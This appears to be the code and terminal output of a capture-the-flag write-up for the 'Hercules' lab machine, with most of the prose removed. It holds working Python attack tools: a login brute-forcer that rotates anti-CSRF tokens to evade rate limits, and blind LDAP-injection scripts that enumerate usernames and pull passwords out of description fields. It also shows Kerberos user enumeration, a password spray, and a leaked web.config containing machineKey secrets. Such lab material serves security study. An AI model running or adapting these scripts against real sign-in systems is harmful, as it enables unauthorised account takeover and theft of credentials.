$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://ip-10-129-246-236.us-west-1.compute.internal/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-10-19 01:44:55Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO2g...
|_ssl-date: TLS randomness does not represent time
443/tcp   open  ssl/http      syn-ack Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Hercules Corp
| ssl-cert: Subject: commonName=hercules.htb
| Subject Alternative Name: DNS:hercules.htb
| Issuer: commonName=hercules.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:56
| Not valid after:  2034-12-04T01:44:56
| MD5:   5f2d:5a1e:ddb2:3380:c69b:f57b:c5dc:3b03
| SHA-1: e7d6:740f:7eb5:4f00:3037:4bf9:6eb6:dad5:ed84:656b
| -----BEGIN CERTIFICATE-----
| MIIDITCCAg...
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
|_  http/1.1
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO...
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO...
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO2g...
5986/tcp  open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES/domainComponent=hercules
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
| SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
| -----BEGIN CERTIFICATE-----
| MIIGBTCCBO2gAwIBA...
| tls-alpn:
|_  http/1.1
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
50097/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
50104/tcp open  msrpc         syn-ack Microsoft Windows RPC
54356/tcp open  msrpc         syn-ack Microsoft Windows RPC
54369/tcp open  msrpc         syn-ack Microsoft Windows RPC
54393/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -2s
| smb2-time:
|   date: 2025-10-19T01:45:59
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 59986/tcp): CLEAN (Timeout)
|   Check 2 (port 29504/tcp): CLEAN (Timeout)
|   Check 3 (port 38997/udp): CLEAN (Timeout)
|   Check 4 (port 41424/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

POST / HTTP/2
Host: hercules.htb
Cookie: __RequestVerificationToken=g3YngYe3Jp-oFN5tIGRyjNvNmu7U5k3XVA1ZNBBCaH8l7br8yelABfZZXdZ32NAyQIP8ZAeivKcID1JsnEJOpg1U-ZgQccwwIzCshDpykd01
Content-Length: 182
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Origin: https://hercules.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hercules.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

__RequestVerificationToken=vj5tE6yIhElEp9tBAmM7w9ZumSWczRIPFbXdPnblEaThaQDP1NB-zcaPVM1qr3vbmUV7L-SFoC7uhwGs5f12n7q06EtWhaehYNgDG3eMqIE1&Name=aa&Email=aa%40aa.aa&Subject=aaa&Message=a

$ dirsearch -u 'https://hercules.htb/' -x 404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25
Wordlist size: 12266

Target: https://hercules.htb/

[19:13:17] Scanning:
[19:13:44] 403 -   312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[19:14:24] 301 -   152B - /content  ->  https://hercules.htb/content/
[19:14:24] 403 -     0B - /content/
[19:14:28] 200 -   27KB - /default
[19:14:40] 302 -   141B - /home  ->  /Login?ReturnUrl=%2fhome
[19:14:42] 200 -   27KB - /index
[19:14:49] 200 -    3KB - /login
[19:14:49] 200 -    3KB - /login/
[19:15:26] 403 -   473B - /Trace.axd

Task Completed

$ kerbrute userenum -d hercules.htb --dc dc.hercules.htb ~/wordlists/seclists/Usernames/top-usernames-shortlist.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 10/19/25 - Ronnie Flathers @ropnop

2025/10/19 01:04:06 >  Using KDC(s):
2025/10/19 01:04:06 >   dc.hercules.htb:88

2025/10/19 01:04:07 >  [+] VALID USERNAME:       administrator@hercules.htb
2025/10/19 01:04:07 >  [+] VALID USERNAME:       admin@hercules.htb
2025/10/19 01:04:08 >  Done! Tested 17 usernames (2 valid) in 1.250 seconds

        <section id="loginForm">
<form action="/Login" class="form-horizontal" method="post" role="form"><input name="__RequestVerificationToken" type="hidden" value="gy6ik7o7CZHAY9YUHrZE9eBjmodQvBoCYECWa96uujEdiXS7jXrwmkXlbfIt9T-cEeF_tcjY_BK2Mb73vP8oswcZ9gI6TGtaKVNRHbBO4rM1" />                <a class="go-home-click-link" href="/"><img src="/Content/Assets/home-icon-small.png" alt="" /></a>
                <h2>Hercules SSO</h2>
                <div class="form-group">
                    <label class="col-md-2 control-label" for="Username">Username</label>
                    <div class="col-md-10">
                        <input class="form-control" data-val="true" data-val-regex="Invalid Username" data-val-regex-pattern="^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$" data-val-required="The Username field is required." id="Username" name="Username" type="text" value="" />
                        <span class="field-validation-valid text-danger" data-valmsg-for="Username" data-valmsg-replace="true"></span>
                    </div>
                </div>
    
    ...

#!/usr/bin/env python3
# bfsso.py
"""
Bruteforce a username against https://hercules.htb/Login
using token-swap technique
"""

import sys
import requests
from bs4 import BeautifulSoup, ResultSet
from pathlib import Path
from pwn import debug, info, success, warn, log

import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

FORM_TOKEN_NAME = "__RequestVerificationToken"
COOKIE_NAME     = "__RequestVerificationToken"
WORDLIST        = Path("~/wordlists/rockyou.txt").expanduser()
USERNAME        = "admin"
URL             = "https://hercules.htb/Login"
REUSE           = 6

# Helpers
# ------------------------------------------------------------------------
def parse_form_token(html_text):
    """
    Extract the hidden form token value from the login HTML.
    Returns token string or None.
    """
    soup = BeautifulSoup(html_text, "html.parser")
    tok = soup.find("input", {"name": FORM_TOKEN_NAME, "type": "hidden"})
    return tok.get("value") if tok else None

def parse_cookie_token(cookiejar):
    """Return token found in Set-Cookie"""
    for name, val in cookiejar.items():
        if name == COOKIE_NAME:
            return val
    return None

def is_login_successful(resp, failure_signatures=None):
    if failure_signatures is None:
        failure_signatures = ["Invalid login attempt",]

    body = resp.text.lower()
    if not any(sig.lower() in body for sig in failure_signatures):
        return True
    return False

# Core attack logic
# ------------------------------------------------------------------------
def fetch_tokens(url):
    """Create new session (no pre-existing cookies) GET /Login"""
    s = requests.Session()
    s.verify = False
    headers = {"User-Agent": "Mozilla/5.0"}
    r = s.get(url, headers=headers, allow_redirects=True, )
    r.raise_for_status()

    cookie_tok = parse_cookie_token(r.cookies)
    form_tok = parse_form_token(r.text)
    return cookie_tok, form_tok

def do_login(url, cookie_tok, form_tok, username, password):
    """Attempt login with with fresh tokens"""
    s = requests.Session()
    s.verify = False
    headers = {"User-Agent": "Mozilla/5.0"}
    s.cookies.set(COOKIE_NAME, cookie_tok)

    payload = {
        FORM_TOKEN_NAME: form_tok,
        "Username": username,
        "Password": password,
        "RememberMe": "true"
    }

    resp = s.post(url, data=payload, headers=headers, allow_redirects=False)
    return resp

# Utils
# ------------------------------------------------------------------------
def gen_passwords(file_path):
    with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
        for l in f:
            pw = l.rstrip("\n")
            if pw:
                yield pw

# Pipeline
# ------------------------------------------------------------------------
if __name__ == "__main__":
    count = 0
    reuse_left = 0
    bar = log.progress("Bruteforcing: ")

    for password in gen_passwords(WORDLIST):
        bar.status(password)
        count += 1
        if reuse_left <= 0:
            # A -> get server cookie token + form token
            try: 
                cookie_tok, form_tok = fetch_tokens(URL)
            except requests.RequestException as e:
                warn(f"fetch_tokens error: {e}")
                sys.exit(111)
            if not form_tok:
                warn("no form token from new session; possible rate-limit.")
                sys.exit(222)
            reuse_left = REUSE

        # B -> use cookie_tok and form_tok for single POST
        try:
            resp = do_login(URL, cookie_tok, form_tok, USERNAME, password)
            # info(f"resp.status={resp.status_code}")
            # print(resp.text)
        except requests.RequestException as e:
            warn(f"do_login error: {e}")
            continue

        reuse_left -= 1

        if is_login_successful(resp):
            bar.success("POSSIBLE HIT")
            print(f"    {USERNAME}:{password}")
            print(f"    status: {resp.status_code}")
            break

    print("[-] No match found")

^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$

^[^!"#&'()*+,:;<=>?[\]\^`{|}~\\]+$

!  "  #  &  '  (  )  *  +  ,  :  ;  <  =  >  ?  [  ]  ^  \  `  {  |  }  ~

$ ldapsearch -x -H ldap://hercules.htb:389 -s base -b "" "(objectClass=*)" namingContexts

# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectClass=*)
# requesting: namingContexts
#

#
dn:
namingContexts: DC=hercules,DC=htb
namingContexts: CN=Configuration,DC=hercules,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=hercules,DC=htb
namingContexts: DC=DomainDnsZones,DC=hercules,DC=htb
namingContexts: DC=ForestDnsZones,DC=hercules,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ ldapwhoami -x -H ldap://hercules.htb:389

$ ldapsearch -x -H ldap://hercules.htb:389 -D "" -w "" -b "DC=hercules,DC=htb" "(objectClass=person)" cn sAMAccountName mail -z 50 -LLL
Operations error (1)
Additional information: 000004DC: LdapErr: DSID-0C090D10, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c

#!/usr/bin/env python3
# enum_usernames.py

import sys
from urllib.parse import quote
import requests
import urllib3
import string
from bs4 import BeautifulSoup
from pwn import log

from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL         = "https://hercules.htb/Login"
PASSWORD    = "wrongPassword"
TOKEN_NAME  = "__RequestVerificationToken"
SUCCESS_MSG = "Login attempt failed" 
FAILURE_SIG = "Invalid login attempt"
BANNED      = set(list(r'!"#&\'()*+,:;<=>?[]\^`{|}~'))

class TokenManager:
    """
    Fetch new tokens for requests to bypass rate limit
    One single token can be used around 6~7 times
    """
    def __init__(self, max_uses=6):
        self.max_uses    = int(max_uses)
        self._cookie_tok = None
        self._form_tok   = None
        self._uses       = 0

    def _fetch_tokens(self):
        """
        Session A: GET /Login, return (cookie_token, form_token).
        """
        s = requests.Session()
        s.verify = False
        headers = {"User-Agent": "Mozilla/5.0"}
        r = s.get(URL, headers=headers, allow_redirects=True, timeout=8)

        cookie_tok = s.cookies.get(TOKEN_NAME)
        soup = BeautifulSoup(r.text, "html.parser")
        inp = soup.find("input", {"name": TOKEN_NAME, "type": "hidden"})
        form_tok = inp.get("value") if inp else None

        return cookie_tok, form_tok

    def _do_login(self, username: str, cookie_tok: str, form_tok: str):
        """
        Session B: new session, set cookie value and submit form token + username.
        """
        s = requests.Session()
        s.verify = False
        headers = {"User-Agent": "Mozilla/5.0", "Referer": URL}
        if cookie_tok:
            s.cookies.set(TOKEN_NAME, cookie_tok)

        data = {
            TOKEN_NAME: form_tok or "",
            "Username": username,
            "Password": PASSWORD,
            "RememberMe": "false"
        }

        return s.post(URL, data=data, headers=headers, allow_redirects=False, timeout=8)

    def refresh(self):
        """
        Force-fetch fresh cookie + token.
        """
        cookie_tok, form_tok = self._fetch_tokens()
        self._cookie_tok = cookie_tok
        self._form_tok   = form_tok
        self._uses       = 0
        return self._cookie_tok, self._form_tok

    def send(self, payload):
        """
        Use cached token to POST payload in username field; refresh after max_uses.
        """
        if self._uses >= self.max_uses or (self._form_tok is None and self._cookie_tok is None):
            self.refresh()

        resp = self._do_login(payload, self._cookie_tok, self._form_tok)
        self._uses += 1
        return resp

def encode(s: str) -> str:
    """
    URL encode blacklisted chars to bypass check.
    They will all be encoded again via requests.post.
    """
    out = []
    for c in s:
        if c in BANNED:
            enc = quote(c, safe="")
            out.append(enc)
        else:
            out.append(c)
    return "".join(out)

def is_success(resp):
    """
    TRUE when our LDAP predicate matched 
    "Login attempt failed": user exists, wrong pass
    """
    body = resp.text or ""
    return SUCCESS_MSG.lower() in body.lower()

def enum_usernames():
    """
    LDAP wildcard search attack:
    <blockquote class="wp-embedded-content" data-secret="H8CEaIZZUF"><a href="https://4xura.com/writeups-for-ctfs/htb/htb-writeup-ghost/">HTB Writeup – Ghost</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“HTB Writeup – Ghost” — Axura" src="https://4xura.com/writeups-for-ctfs/htb/htb-writeup-ghost/embed/#?secret=ELVofRZ1rX#?secret=H8CEaIZZUF" data-secret="H8CEaIZZUF" width="600" height="338" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

    DFS prefix expansion for usernames matching grammar: first[.last]
      - first: [a-z]+
      - optional single dot (not first/last)
      - last:  [a-z]+
    We probe "<prefix>*"; if it matches, dive deeper
    """
    letters = string.ascii_lowercase

    def _next_chars(prefix: str):
        """Allowed next chars under first[.last] grammar."""
        has_dot = '.' in prefix
        if not prefix:
            return letters                     # first char: letters only
        if not has_dot:
            # allow letters always; allow '.' only if last char is a letter
            return letters + ('.' if prefix[-1].isalpha() else '')
        # after a dot, only letters; forbid a second dot
        return letters

    tm = TokenManager(max_uses=6)
    bar_main  = log.progress("DFS ENUMERATION")      
    bar_try   = log.progress("TRYING ")
    completed = []
    visited   = set()                               

    queue = [c for c in letters]

    while queue:
        prefix = queue.pop(0)
        if prefix in visited:
            continue
        visited.add(prefix)

        payload = f"{prefix}*"
        enc     = encode(payload)
        bar_try.status(f"'{prefix}' -> {payload} -> {enc}")

        try:
            resp = tm.send(enc)
        except Exception as e:
            log.failure(f"POST error for '{prefix}': {e}")
            continue

        if not is_success(resp):
            continue  # this prefix doesn't exist

        # prefix exists → probe children and go **depth-first**
        has_child = False
        dbg = log.progress("[debug], PREFIX {} has child".format(prefix))
        for ch in _next_chars(prefix):
            child = prefix + ch
            child_payload = f"{child}*"
            child_enc     = encode(child_payload)
            dbg.status(f"PROBING '{child}' -> {child_payload} -> {child_enc}")

            try:
                child_resp = tm.send(child_enc)
            except Exception as e:
                # keep probing other children
                continue

            if is_success(child_resp):
                has_child = True
                # DFS: process this child now
                queue.insert(0, child)
                log.info(f"enqueue child: {child}")

        if not has_child:
            # cannot extend → full username discovered
            completed.append(prefix)
            log.success(f"FOUND username: {prefix}")

    bar_main.success("done")
    if completed:
        with open("users.txt", "w", encoding="utf-8", errors="ignore") as f:
            for u in completed:
                f.write(u + "\n")
        log.success("Completed usernames found and saved to users.txt")
    else:
        log.failure("No completed usernames discovered")

    return completed


if __name__ == "__main__":
    enum_usernames()

$ tail users.txt -n20

ken.w
mark.s
mikayla.a
natalie.a
nate.h
patrick.s
ramona.l
ray.n
rene.s
shae.j
stephanie.w
stephen.m
tanya.r
taylor.m
tish.c
vincent.g
web_admin
will.s
winda.s
zeke.s

web_admin*)(description=*

#!/usr/bin/env python3
# enum_description.py

import sys
from urllib.parse import quote
import requests
import urllib3
import string
from pathlib import Path
from bs4 import BeautifulSoup
from pwn import log

from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL         = "https://hercules.htb/Login"
PASSWORD    = "wrongPassword"
TOKEN_NAME  = "__RequestVerificationToken"
SUCCESS_MSG = "Login attempt failed" 
FAILURE_SIG = "Invalid login attempt"
BANNED      = set(list(r'!"#&\'()*+,:;<=>?[]\^`{|}~'))
USERS_TXT   = Path("./users.txt")

class TokenManager:
    """
    Fetch new tokens for requests to bypass rate limit
    One single token can be used around 6~7 times
    """
    def __init__(self, max_uses=6):
        self.max_uses    = int(max_uses)
        self._cookie_tok = None
        self._form_tok   = None
        self._uses       = 0

    def _fetch_tokens(self):
        """
        Session A: GET /Login, return (cookie_token, form_token).
        """
        s = requests.Session()
        s.verify = False
        headers = {"User-Agent": "Mozilla/5.0"}
        r = s.get(URL, headers=headers, allow_redirects=True, timeout=8)

        cookie_tok = s.cookies.get(TOKEN_NAME)
        soup = BeautifulSoup(r.text, "html.parser")
        inp = soup.find("input", {"name": TOKEN_NAME, "type": "hidden"})
        form_tok = inp.get("value") if inp else None

        return cookie_tok, form_tok

    def _do_login(self, username: str, cookie_tok: str, form_tok: str):
        """
        Session B: new session, set cookie value and submit form token + username.
        """
        s = requests.Session()
        s.verify = False
        headers = {"User-Agent": "Mozilla/5.0", "Referer": URL}
        if cookie_tok:
            s.cookies.set(TOKEN_NAME, cookie_tok)

        data = {
            TOKEN_NAME: form_tok or "",
            "Username": username,
            "Password": PASSWORD,
            "RememberMe": "false"
        }

        return s.post(URL, data=data, headers=headers, allow_redirects=False, timeout=8)

    def refresh(self):
        """
        Force-fetch fresh cookie + token.
        """
        cookie_tok, form_tok = self._fetch_tokens()
        self._cookie_tok = cookie_tok
        self._form_tok   = form_tok
        self._uses       = 0
        return self._cookie_tok, self._form_tok

    def send(self, payload):
        """
        Use cached token to POST payload in username field; refresh after max_uses.
        """
        if self._uses >= self.max_uses or (self._form_tok is None and self._cookie_tok is None):
            self.refresh()

        resp = self._do_login(payload, self._cookie_tok, self._form_tok)
        self._uses += 1
        return resp

def encode(s: str) -> str:
    """
    URL encode blacklisted chars to bypass check.
    They will all be encoded again via requests.post.
    """
    out = []
    for c in s:
        if c in BANNED:
            enc = quote(c, safe="")
            out.append(enc)
        else:
            out.append(c)
    return "".join(out)

def is_success(resp):
    """
    TRUE when our LDAP predicate matched 
    "Login attempt failed": user exists, wrong pass
    """
    body = resp.text or ""
    return SUCCESS_MSG.lower() in body.lower()

from urllib.parse import quote

def _ldap_escape_rfc4515(s: str) -> str:
    """
	Escape user-controlled text for LDAP filter usage (RFC4515).
    """
    out = []
    for ch in s:
        if ch == '*':
            out.append(r'\2a')
        elif ch == '(':
            out.append(r'\28')
        elif ch == ')':
            out.append(r'\29')
        elif ch == '\\':
            out.append(r'\5c')
        elif ch == '\x00':
            out.append(r'\00')
        else:
            out.append(ch)
    return ''.join(out)

def _build_payload(username: str, description_payload: str = None) -> str:
    """
    Build the Username form value that probes description.
    - description_payload: the candidate prefix to test (unescaped)
    """
    if description_payload is None:
        pl = f"{username}*)(description=*"
    else:
        escaped = _ldap_escape_rfc4515(description_payload)
        # trailing '*' is LDAP wildcard and must remain literal wildcard in the filter
        pl = f"{username}*)(description={escaped}*"
    return encode(pl) 

def enum_descriptions(users_file: Path):
    """
    Enumerate 'description' for one username using TokenManager tm.
    Returns discovered description string or None.
    """
    tm = TokenManager(max_uses=6)
    charset = string.printable
    results = {}

    with open(users_file, "r", encoding="utf-8") as f:
        users = [u.strip() for u in f if u.strip()]

    for user in users:
        log.info(f"Checking user: {user}")

        # check if description exists (probe with no prefix)
        probe0 = _build_payload(user, None)
        resp = tm.send(probe0)
        if not is_success(resp):
            log.failure(f"No description for {user}")
            continue

        desc = ""
        log.success(f"{user} has description, enumerating...")
        for i in range(50):             
            found = False
            for ch in charset:
                test = desc + ch
                probe = _build_payload(user, test)
                resp = tm.send(probe)
                if is_success(resp):
                    desc = test
                    log.info(f"    {user}: {desc}")
                    found = True
                    break

            if not found:
                break

        if desc:
            results[user] = desc
            log.success(f"FOUND {user}:{desc}")
            with open("passwords.txt", "a", encoding="utf-8") as out:
                out.write(f"{user}:{desc}\n")
        else:
            log.failure(f"No content extracted for {user}")

    return results


if __name__ == "__main__":
    enum_descriptions(USERS_TXT)	

kerbrute passwordspray -d 'hercules.htb' --dc 'dc.hercules.htb'  users.txt 'change*th1s_p@ssw()rd!!' -v

$ nxc smb hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!'
SMB         10.129.13.42   445    dc               [*]  x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         10.129.13.42   445    dc               [-] hercules.htb\ken.w:change*th1s_p@ssw()rd!! STATUS_NOT_SUPPORTED

$ nxc smb hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' --generate-krb5-file ./krb5.conf
SMB         10.129.13.42   445    dc               [*]  x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         10.129.13.42   445    dc               [+] krb5 conf saved to: ./krb5.conf
SMB         10.129.13.42   445    dc               [+] Run the following command to use the conf file: export KRB5_CONFIG=./krb5.conf
SMB         10.129.13.42   445    dc               [-] hercules.htb\ken.w:change*th1s_p@ssw()rd!! STATUS_NOT_SUPPORTED

$ export KRB5_CONFIG=krb5.conf

$ nxc smb hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' -k
SMB         hercules.htb    445    hercules         [*]  x64 (name:hercules) (domain:htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         hercules.htb    445    hercules         [-] htb\ken.w:change*th1s_p@ssw()rd!! [Errno Connection error (HTB:88)] [Errno -2] Name or service not known

$ nxc winrm hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' -k
[01:01:46] ERROR    Invalid NTLM challenge received from server. This may indicate NTLM is not supported and nxc winrm only support NTLM currently                               winrm.py:62
WINRM-SSL   hercules.htb    5986   hercules.htb     [*] None (name:hercules.htb) (domain:None) (NTLM:False)

$ nxc ldap hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' -k
LDAP        hercules.htb    389    DC               [*] None (name:DC) (domain:hercules.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        hercules.htb    389    DC               [+] hercules.htb\ken.w:change*th1s_p@ssw()rd!!

<?xml version="1.0" encoding="utf-8"?>

<!--
  For more information on how to configure your ASP.NET application, please visit
  https://go.microsoft.com/fwlink/?LinkId=301880
  -->

<configuration>

  <appSettings>
    <add key="webpages:Version" value="3.0.0.0" />
    <add key="webpages:Enabled" value="false" />
    <add key="ClientValidationEnabled" value="true" />
    <add key="UnobtrusiveJavaScriptEnabled" value="true" />
  </appSettings>

  <!--
    For a description of web.config changes see http://go.microsoft.com/fwlink/?LinkId=235367.
    The following attributes can be set on the <httpRuntime> tag.

      <system.Web>
        <httpRuntime targetFramework="4.8.1" />
      </system.Web>
  -->

  <system.web>
    <compilation targetFramework="4.8" />
    <authentication mode="Forms">
      <forms protection="All" loginUrl="/Login" path="/" />
    </authentication>
    <httpRuntime enableVersionHeader="false" maxRequestLength="2048" executionTimeout="3600" />
    <machineKey decryption="AES" decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" validation="HMACSHA256" validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" />
    <customErrors mode="Off" />
  </system.web>

  <runtime>
    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
      <dependentAssembly>
        <assemblyIdentity name="System.Web.Helpers" publicKeyToken="31bf3856ad364e35" />
        <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Web.WebPages" publicKeyToken="31bf3856ad364e35" />
        <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Web.Mvc" publicKeyToken="31bf3856ad364e35" />
        <bindingRedirect oldVersion="1.0.0.0-5.3.0.0" newVersion="5.3.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="Microsoft.Web.Infrastructure" publicKeyToken="31bf3856ad364e35" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-2.0.0.0" newVersion="2.0.0.0" />
      </dependentAssembly>
    </assemblyBinding>
  </runtime>

  <system.webServer>

    <httpProtocol>
      <customHeaders>
        <remove name="X-AspNetMvc-Version" />
        <remove name="X-Powered-By" />
        <add name="Connection" value="keep-alive" />
      </customHeaders>
    </httpProtocol>

    <security>
      <requestFiltering>
        <requestLimits maxAllowedContentLength="2097152" />
      </requestFiltering>
    </security>

    <rewrite>
      <rules>
        <rule name="HTTPS Redirect" stopProcessing="true">
          <match url="(.*)" />
          <conditions>
            <add input="{HTTPS}" pattern="^OFF$" />
          </conditions>
          <action type="Redirect" url="https://{HTTP_HOST}{REQUEST_URI}" redirectType="Permanent" />
        </rule>
      </rules>
    </rewrite>

    <httpErrors errorMode="Custom" existingResponse="PassThrough">
